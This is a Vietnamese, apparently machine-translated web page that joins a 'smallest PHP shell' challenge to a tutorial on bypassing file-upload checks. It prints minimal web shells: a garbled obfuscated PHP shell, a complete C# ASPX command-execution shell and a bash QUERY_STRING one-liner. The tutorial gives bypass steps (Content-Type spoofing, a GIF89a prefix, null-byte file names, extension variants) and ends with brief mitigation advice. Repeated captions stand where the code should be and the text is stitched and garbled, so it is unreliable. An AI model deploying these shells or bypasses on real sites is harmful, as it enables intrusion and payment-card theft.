Hướng dẫn smallest php shell - shell php nhỏ nhất

Để có trải nghiệm người dùng tốt nhất, vui lòng nâng cấp trình duyệt của bạn

Hướng dẫn smallest php shell - shell php nhỏ nhất

Các đồng nghiệp của chúng tôi tại PTP Consulting dành phần lớn thời gian của họ để khai thác các vi phạm dữ liệu gian lận thẻ tín dụng thay mặt cho các thương hiệu thẻ tín dụng. Một trong những kỹ thuật phổ biến nhất để dữ liệu thẻ snaffling từ các nhà bán lẻ thương mại điện tử là tải shell web lên một trang web dựa trên PHP.

Điểm xâm nhập ban đầu thường là bao gồm tệp, lỗ hổng tiêm hoặc tín dụng quản trị viên mặc định cũ tốt. Mã nhỏ hơn và ít rõ ràng hơn, càng có thể phát hiện ra. Có nhiều cách để làm xáo trộn vỏ, nhưng kích thước là tất cả mọi thứ, hoặc ít nhất là một số thời gian.

Vì vậy, họ đã thử thách bản thân để thấy họ nhỏ có thể tạo ra một vỏ PHP chức năng như thế nào.

Dưới đây là những nỗ lực của họ cho đến nay.

Đây có phải là nhỏ như người ta có thể đi? Bạn có thể làm tốt hơn thế này không? Xin vui lòng cho chúng tôi biết nếu bạn có thể!

Họ bắt đầu với điều này:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Không có nghĩa là kỳ công. Nó khá linh hoạt và ít dễ dàng phát hiện hơn các mã shell khác trong các yêu cầu đã ghi lại nhưng một con mắt sắc sảo có thể thấy những gì đang xảy ra.

Bước tiếp theo là xuất các chức năng ra URL để cung cấp:

[email protected]$_GET[3];([email protected]$a1($_GET[2])).$b2 = @$_(@$a1(@$_GET[1])); echo ”

$b2 
”? >

Nó có cùng chức năng nhưng lần này, nó ngắn hơn nhiều, cũng có thể mã hóa có thể là bất cứ điều gì bạn muốn (strrev, base64decode, v.v.).

Nó ngắn hơn một chút, nhưng sau đó họ đã đưa ra:

Nó có cùng chức năng nhưng lần này, nó ngắn hơn nhiều, cũng có thể mã hóa có thể là bất cứ điều gì bạn muốn (strrev, base64decode, v.v.).

Hướng dẫn smallest php shell - shell php nhỏ nhất

Nó ngắn hơn một chút, nhưng sau đó họ đã đưa ra:

Đó là các lệnh ngắn nhất cho hệ thống (shell) mà họ có thể đưa ra.

Đầu ra từ đó hơi lộn xộn, vì vậy một phiên bản tốt hơn một chút là:

Hướng dẫn smallest php shell - shell php nhỏ nhất

You call it by putting the command in URL variable ‘1’ e.g. www.somewebsite.com/index.html?1=ipconfig

Mặc dù bạn có thể đạt được cùng một đầu ra sạch bằng cách sử dụng phương pháp URI nguồn xem trong Chrome:

Bạn gọi nó bằng cách đặt lệnh vào biến URL ‘1, ví dụ: www.somewebsite.com/index.html?1=ipconfig

<%@Page Language=”C#”%><%var p=new System.Diagnostics.Process{StartInfo={FileName=Request[“c”],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%><%=p.StandardOutput.ReadToEnd()%>

Nó có cùng chức năng nhưng lần này, nó ngắn hơn nhiều, cũng có thể mã hóa có thể là bất cứ điều gì bạn muốn (strrev, base64decode, v.v.).

Nó ngắn hơn một chút, nhưng sau đó họ đã đưa ra:
echo;$_ `${QUERY_STRING/%20/ }`

Đó là các lệnh ngắn nhất cho hệ thống (shell) mà họ có thể đưa ra.

Hướng dẫn smallest php shell - shell php nhỏ nhất

1.Giới thiệu

Trong thực tế chúng ta bắt gặp rất nhiều trang web cho phép chúng ta upload file từ máy lên. Đơn giản như upoad hình nền làm avatar hoặc gửi file video các thứ. Tuy nhiên nếu chúng ta không đảm bảo file upload lên được kiểm soát chặt chẽ, hacker rất có thể sẽ sử dụng các shell giả mạo dưới dạng file ảnh nhằm thực thi mã và chiếm quyền điều khiển. Bài viết này sẽ chỉ cho bạn 1 vài cách khai thác cơ bản khi đầu vào kiểm soát chưa được chặt chẽ. Vậy let's go.

2.Các cách khai thác

a. Khai thác cơ bản

Đầu tiên cũng là đơn giản nhất. Đó là trang web tin tưởng hoàn toàn vào người dùng và không có bất kỳ biện pháp bảo vệ nào. Ta sẽ code 1 trang web đơn giản nhằm upload file như sau:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Phần code php khi không có sự kiểm soát đầu vào sẽ có dạng:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Giao diện trang web sẽ cho ta 1 chỗ để upload file:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Sau khi upload thì file được lưu vào địa chỉ ./uploads/file_name. Ta sẽ thử gửi lên 1 ảnh 1 bất kỳ là test.jpg. Sau khi gửi lên thành công, ta có thể vào ./uploads/test.jpg để xem trực tiếp ảnh:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Như vậy là upload thành công.Bây giờ ta sẽ thử up shell php lên, ở đây mình sử dụng tool pony shell để up:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Sau khi upload và chạy ./uploads/shell.php thì đã vào được bảng terminal, tại đây ta có thể khai thác để chạy lệnh linux, từ đó lấy được thông tin:

Hướng dẫn smallest php shell - shell php nhỏ nhất

b.Bypass MMI-Type

Tiếp đến các trang web có thể giới hạn định dạng file, gọi là MMI file extension. Ta sẽ thêm 1 đoạn code như sau vào trang trước:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Đoạn code trên sẽ sử dụng _FILES['userfile']['type'] để lấy file extension. Sau đó sử dụng hàm in_array để chỉ cho phép các file dạng jpg, gif và png. Ta thử up shell lên thì xuất hiện lỗi:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Đến đây ta sẽ sử dụng burpsuite để khai thác. Bắt request bằng burpsuite ta được:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Do file ta up lên là file php nên tại phần header sẽ có dạng Content-Type: application/x-php. Với đoạn code trên thì trang sẽ chỉ check xem Content-type có đúng định dạng hay không, còn không kiểm tra nội dung bên trong. Nên ta chỉ cần đổi Content-typecho phù hợp với file ảnh là được, ở đây ta sẽ dùng Content-Type: image/jpeg:

Hướng dẫn smallest php shell - shell php nhỏ nhất
Hướng dẫn smallest php shell - shell php nhỏ nhất

Vậy là upload thành công.

c. Bypass getimagesize()

Hàm getimagesize () sẽ đọc 1 lượng byte ban đầu nhất định nhằm xác định xem về định dạng file, chiều rộng cũng như chiều cao của file. Đoạn code sẽ được thêm như sau:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Để bypass thì ta sẽ chỉnh sửa phần đầu của file php để hàm check sẽ nghĩ là file ảnh. Hoặc ta chỉ cần thêm đoạn GIF89a vào trước shell là được. Khi đó hàm sẽ check đây là 1 file gif. Thử kết hợp 2 lỗi trên và khai thác, sử dụng burpsuite để bắt và thay đổi content-type, sau đó thêm vào đầu đoạn shell GIF89a ta được:

Hướng dẫn smallest php shell - shell php nhỏ nhất
Hướng dẫn smallest php shell - shell php nhỏ nhất

Vậy là upload thành công. Khá tiếc là cái pony shell sử dụng cách này lại không chạy được, Bạn có thể sử dụng các shell khác như mini shell hoặc r57 shell đều được.

d. Bypass pathinfo()

Hàm pathinfo() sẽ lấy thông tin về đường dẫn truyền vào:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Extension sẽ được check bởi đoạn sau dấu chấm cuối cùng. Ví dụ shell.php.jpg thì hàm pathinfo() sẽ check đây là 1 file jpg. Tuy nhiên nếu ta để như thế thì khi truyền url đoạn chứa shell vào sẽ không chạy được. Đến đây ta có 1 cách để khai thác. Đó là sử dụng null byte %00, hiểu đơn giản thì ta sẽ để file dạng shell.php%00.jpg hoặc shell.php/x00.jpg . Khi đó hàm sẽ hiểu là file ảnh. Tuy nhiên khi thực hiện upload ảnh thì đoạn sau %00 sẽ bị xóa mất, nên file trở lại thành shell.php và thực hiện khai thác bình thường. Tuy nhiên lỗi này đã được sửa từ phiên bản php 5.3.4 trở đi.

e. Một vài cách khai thác khác

  • Bên cạnh những cách khai thác trên. Đôi khi trang sẽ loại bỏ các file php bằng cách đưa các ký tự không cho phép vào blacklist. Thì ta có thể bypass bằng các sử dụng những đuôi như .Php, PhP, PHP5, php1, php2 vv.
  • Một vài trang web sẽ chỉ cho phép ta upfile với 1 dung lượng rất nhỏ. Khi đó ta chỉ có thể khai thác bằng cách sử dụng các shell đơn giản, ví dụ:

3.Cách khắc phục

  • Trên đây là 1 vài cách trang web xử lý check file upload đi kèm với cách khai thác cơ bản.
  • Có rất nhiều cách để 1 trang web có thể khắc phục điều này. Với mình thì cách hay nhất là check xem nó thuộc file gì sau đó ta có thể thay đổi tên và fix cứng định dạng cho nó. Còn nếu file đó không nằm trong các định dạng cho phép thì sẽ bị bỏ qua và không cho upload.
    Hướng dẫn smallest php shell - shell php nhỏ nhất

Up file lên sẽ được:

Hướng dẫn smallest php shell - shell php nhỏ nhất

Như vậy thì dù kẻ tấn công có vượt qua và up shell lên được thì vẫn không thể thực thi được lệnh do đã bị đổi định dạng sang file ảnh.

All rights reserved